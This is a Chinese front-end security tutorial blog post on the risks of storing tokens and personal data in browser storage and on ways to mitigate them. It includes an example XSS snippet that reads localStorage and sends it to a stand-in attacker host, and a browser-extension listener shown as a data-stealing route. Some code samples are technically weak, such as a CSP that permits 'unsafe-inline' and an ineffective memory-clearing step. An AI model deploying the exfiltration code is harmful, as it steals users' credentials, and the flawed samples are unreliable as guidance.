阿里云主机折上折
  • 微信号
您当前的位置:网站首页 > 敏感信息在前端的存储问题

敏感信息在前端的存储问题

作者:陈川 阅读数:61487人阅读 分类: 前端安全

敏感信息在前端的存储问题

前端开发中,敏感信息的存储一直是个棘手问题。浏览器环境开放且易受攻击,不当的存储方式可能导致数据泄露、XSS攻击或CSRF攻击等安全风险。

敏感信息的定义与分类

敏感信息通常包括但不限于以下类型:

  1. 用户凭证:登录令牌(Token)、会话ID、OAuth令牌
  2. 个人身份信息:身份证号、手机号、银行卡信息
  3. 业务敏感数据:未加密的API密钥、内部系统地址
  4. 权限相关:用户角色、访问控制列表(ACL)
// 错误的敏感信息存储示例
const user = {
  id: 123,
  name: "张三",
  token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  creditCard: "622588******1234"
};
localStorage.setItem("user", JSON.stringify(user));

常见存储方式及其风险

1. localStorage/sessionStorage

特点

  • 同源策略限制
  • 持久化存储(localStorage)或会话级存储(sessionStorage)
  • 存储容量约5MB

风险

  • XSS攻击可直接读取全部内容
  • 无自动过期机制
  • 数据明文存储
// XSS攻击示例
const stolenData = localStorage.getItem("user");
fetch("https://attacker.com/steal", {
  method: "POST",
  body: stolenData
});

2. Cookie

特点

  • 可设置HttpOnly、Secure、SameSite等属性
  • 有大小限制(约4KB)
  • 自动随请求发送

风险

  • 未设置HttpOnly时可通过JS读取
  • CSRF攻击风险
  • 子域名共享问题
// 安全Cookie设置示例(服务端)
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

3. IndexedDB

特点

  • 异步键值存储
  • 支持事务
  • 存储容量大(通常50MB+)

风险

  • 仍受XSS威胁
  • 复杂查询可能暴露敏感数据
  • 需要手动加密

安全存储实践方案

1. 最小化存储原则

只存储必要信息,且尽可能缩短有效期:

// 只存储必要字段
const safeUserData = {
  id: 123,
  name: "张三",
  // 不存储完整token
  auth: {
    expires: 1630000000,
    // 只存储token片段
    hint: "eyJ...1234" 
  }
};

2. 加密存储

使用Web Crypto API进行客户端加密:

async function encryptData(data, password) {
  const enc = new TextEncoder();
  const keyMaterial = await window.crypto.subtle.importKey(
    "raw",
    enc.encode(password),
    { name: "PBKDF2" },
    false,
    ["deriveKey"]
  );
  
  const salt = window.crypto.getRandomValues(new Uint8Array(16));
  const key = await window.crypto.subtle.deriveKey(
    {
      name: "PBKDF2",
      salt,
      iterations: 100000,
      hash: "SHA-256"
    },
    keyMaterial,
    { name: "AES-GCM", length: 256 },
    false,
    ["encrypt", "decrypt"]
  );
  
  const iv = window.crypto.getRandomValues(new Uint8Array(12));
  const encrypted = await window.crypto.subtle.encrypt(
    { name: "AES-GCM", iv },
    key,
    enc.encode(JSON.stringify(data))
  );
  
  return {
    salt: Array.from(salt),
    iv: Array.from(iv),
    data: Array.from(new Uint8Array(encrypted))
  };
}

3. 安全令牌设计

采用短期令牌+刷新令牌机制:

// 令牌结构示例
{
  "jti": "a1b2c3",       // 唯一标识
  "sub": "user123",      // 用户ID
  "exp": 1629993600,     // 短期过期(1小时)
  "scope": "read:profile", // 最小权限
  "iss": "your-api"      // 签发者
}

防御XSS攻击的额外措施

  1. CSP策略
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'unsafe-inline'">
  1. 输入过滤与输出编码
function sanitize(input) {
  const div = document.createElement("div");
  div.textContent = input;
  return div.innerHTML;
}
  1. 现代框架的防护
// React会自动转义
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>;

敏感数据的内存管理

即使不持久化存储,内存中的敏感数据也需要保护:

// 使用WeakMap减少暴露
const sensitiveData = new WeakMap();

class UserSession {
  constructor(token) {
    sensitiveData.set(this, { token });
  }
  
  getToken() {
    const data = sensitiveData.get(this);
    return data ? data.token : null;
  }
  
  clear() {
    sensitiveData.delete(this);
    // 覆盖内存引用
    this._temp = Array(1000).fill("\x00"); 
  }
}

浏览器扩展的风险考量

浏览器扩展可以访问页面DOM和存储:

// 扩展内容脚本可能窃取数据
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === "getStorage") {
    sendResponse(localStorage.getItem(request.key));
  }
});

防护措施:

  • 避免在扩展页面处理敏感数据
  • 使用独立的存储分区
  • 实现权限最小化原则

移动端混合应用的特别注意事项

混合应用(如Cordova)需要额外注意:

  1. 插件安全
<!-- config.xml 应限制权限 -->
<plugin name="cordova-plugin-file" spec="^6.0.0" />
<preference name="AndroidInsecureFileModeEnabled" value="false" />
  1. WebView加固
// Android WebView设置
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setJavaScriptEnabled(false);

合规性要求

根据GDPR、CCPA等法规要求:

  1. 数据存储前需获得用户明确同意
  2. 提供数据清除接口
  3. 记录数据处理日志
// 用户同意管理
class ConsentManager {
  constructor() {
    this.consents = {
      storage: false,
      analytics: false
    };
  }
  
  grantConsent(type) {
    this.consents[type] = true;
    // 写入只读的DOM属性
    document.documentElement.dataset[`consent-${type}`] = "granted";
  }
}

监控与应急响应

建立存储安全监控机制:

// 存储访问监控
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
  if (key.includes("token") || key.includes("auth")) {
    logSecurityEvent("SensitiveStorageAccess", { key });
  }
  return originalSetItem.apply(this, arguments);
};

function logSecurityEvent(type, metadata) {
  navigator.sendBeacon("/security-log", {
    type,
    metadata,
    timestamp: Date.now()
  });
}

开发环境与生产环境的差异处理

禁止在开发环境使用真实敏感数据:

// webpack环境变量注入
plugins: [
  new webpack.DefinePlugin({
    __SECURE_STORAGE__: JSON.stringify(
      process.env.NODE_ENV === "production" 
        ? "window._secureStorage" 
        : "window._mockStorage"
    )
  })
]

新兴技术的应用前景

  1. WebAssembly加密
// 使用C++实现加密(编译为wasm)
EMSCRIPTEN_KEEPALIVE
void encrypt_data(char* input, int length) {
  // 加密算法实现...
}
  1. Trusted Types API
// 启用Trusted Types
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy("storagePolicy", {
    createHTML: input => sanitize(input)
  });
}
  1. Web Locks API防止竞态条件:
navigator.locks.request("auth-token", async lock => {
  const token = await getFreshToken();
  // 安全更新令牌
});

实际案例分析

某电商平台Token泄露事件:

错误做法

// 将完整JWT存储在localStorage
localStorage.setItem("auth", "eyJhbGciOiJIUzI1NiIs...");

// 页面JS直接读取使用
const token = localStorage.getItem("auth");

修复方案

  1. 改用HttpOnly Cookie存储
  2. 实现双Token机制(accessToken + refreshToken)
  3. 添加指纹绑定:
// 生成浏览器指纹
const fpPromise = import("https://openfpcdn.io/fingerprintjs/v3")
  .then(FingerprintJS => FingerprintJS.load());
fpPromise.then(fp => fp.get())
  .then(result => {
    // 将指纹哈希与令牌关联
    storeEncrypted("fp_hash", result.visitorId); 
  });

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

前端川

前端川,陈川的代码茶馆🍵,专治各种不服的Bug退散符💻,日常贩卖秃头警告级的开发心得🛠️,附赠一行代码笑十年的摸鱼宝典🐟,偶尔掉落咖啡杯里泡开的像素级浪漫☕。‌